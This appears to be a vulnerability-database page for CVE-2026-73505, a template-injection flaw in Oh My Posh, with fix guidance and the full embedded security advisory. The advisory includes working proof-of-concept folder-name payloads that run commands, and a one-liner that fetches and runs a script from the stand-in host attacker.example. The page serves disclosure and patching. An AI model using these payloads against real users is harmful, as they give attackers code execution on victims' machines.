CVE-2026-73505: Oh My Posh Arbitrary Command Execution Vulnerability
HIGHCVE-2026-73505 is a HIGH (CVSS 7.8) arbitrary command execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Oh My Posh libraries in the Go ecosystem. The issue involves arbitrary command execution via template injection in the path segment. Remediation is available by upgrading affected packages to version 29.35.1.
CVE-2026-73505 at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-73505
To remediate this vulnerability, upgrade all affected Oh My Posh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/jandedobbeleer/oh-my-posh to 29.35.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/jandedobbeleer/oh-my-posh
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-73505, inspect your project dependencies for Oh My Posh:
inspect dependencies for github.com/jandedobbeleer/oh-my-posh
Analyze the terminal output to locate any version of Oh My Posh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 29.35.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Oh My Posh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-73505 Affected Oh My Posh Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/jandedobbeleer/oh-my-posh
|
Go |
< 29.35.1
|
29.35.1
|
References
Frequently Asked Questions
What is CVE-2026-73505?
Which Oh My Posh versions are affected?
What version fixes CVE-2026-73505?
Is github.com/jandedobbeleer/oh-my-posh affected?
What is the CVSS score of CVE-2026-73505?
What CWE is associated with CVE-2026-73505?
How can I check Go dependencies for CVE-2026-73505?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6xj8-qv9j-xcjq",
"modified" : "2026-08-13T14:22:04Z",
"published" : "2026-07-24T22:36:11Z",
"aliases" : [ "CVE-2026-73505" ],
"summary" : "Oh My Posh: Arbitrary command execution via template injection in the path segment",
"details" : "### Summary\nOh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go `text/template` engine. That engine's function map exposes a `cmd` function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.\n\n### Details\n`src/segments/path.go`, `setStyle()`:\n\n```go\n// make sure we resolve all templates\nif txt, err := template.Render(pt.Path, pt); err == nil {\n pt.Path = txt\n}\n```\n\n`pt.Path` is built from the raw folder-name components of the current working directory (`colorizePath` inserts each folder name verbatim via `fmt.Sprintf(folderFormat, element)`). The whole string is then passed to `template.Render`, which parses and executes it with the full function map from `src/template/func_map.go`, including:\n\n```go\nfunc cmd(command string, args ...string) (string, error) {\n output, err := env.RunCommand(command, args...)\n return strings.TrimSpace(output), err\n}\n```\n\nAny template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (`src/config/default.go`) contains a path segment.\n\n### PoC\nConfig (a single default path segment):\n\n```json\n{ \"version\":3, \"blocks\":[{\"type\":\"prompt\",\"alignment\":\"left\",\"segments\":[\n {\"type\":\"path\",\"style\":\"plain\",\"foreground\":\"#ffffff\",\n \"template\":\"{{ .Path }}\",\"properties\":{\"style\":\"full\"}}]}]}\n```\n\nCommand execution reflected into the prompt (`--pwd` supplies exactly the string `env.Pwd()` returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only `/` and NUL are disallowed):\n\n```\n$ oh-my-posh print primary --config p.json --shell fish \\\n --pwd '/home/v/{{ cmd `whoami` }}'\n/home/v/<username> # whoami executed, output substituted\n```\n\nSide effect (file write), slash-free payload, verified on Windows:\n\n```\n$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \\\n --pwd '/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}'\n$ cat /tmp/proof\npwn3d\n```\n\nConfirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles.\n\n### Impact\nArbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd.\n\nThe path is split on `/` (and `\\` on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS `{{ cmd `sh` `-c` `curl${IFS}-s${IFS}attacker.example|sh` }}` needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name (`{{ cmd `bash` `x` }}`).\n\nSuggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (`folder_separator_template`, `mapped_locations`, `folder_format`) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape `{{`/`}}` in raw folder-name components before insertion, or use a data-only function map (no `cmd`/`readFile`/`stat`/`glob`) for path resolution. The same double-evaluation pattern is worth reviewing at `src/segments/options/map.go`.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/jandedobbeleer/oh-my-posh"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "29.35.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 29.35.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/JanDeDobbeleer/oh-my-posh/security/advisories/GHSA-6xj8-qv9j-xcjq"
}, {
"type" : "WEB",
"url" : "https://github.com/JanDeDobbeleer/oh-my-posh/commit/88ddbe0b0a4dd13cc345996108c9869493f2c690"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/JanDeDobbeleer/oh-my-posh"
}, {
"type" : "WEB",
"url" : "https://github.com/JanDeDobbeleer/oh-my-posh/releases/tag/v29.35.1"
}, {
"type" : "WEB",
"url" : "https://github.com/JanDeDobbeleer/oh-my-posh/releases/tag/v29.36.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336", "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-24T22:36:11Z",
"nvd_published_at" : null
}
}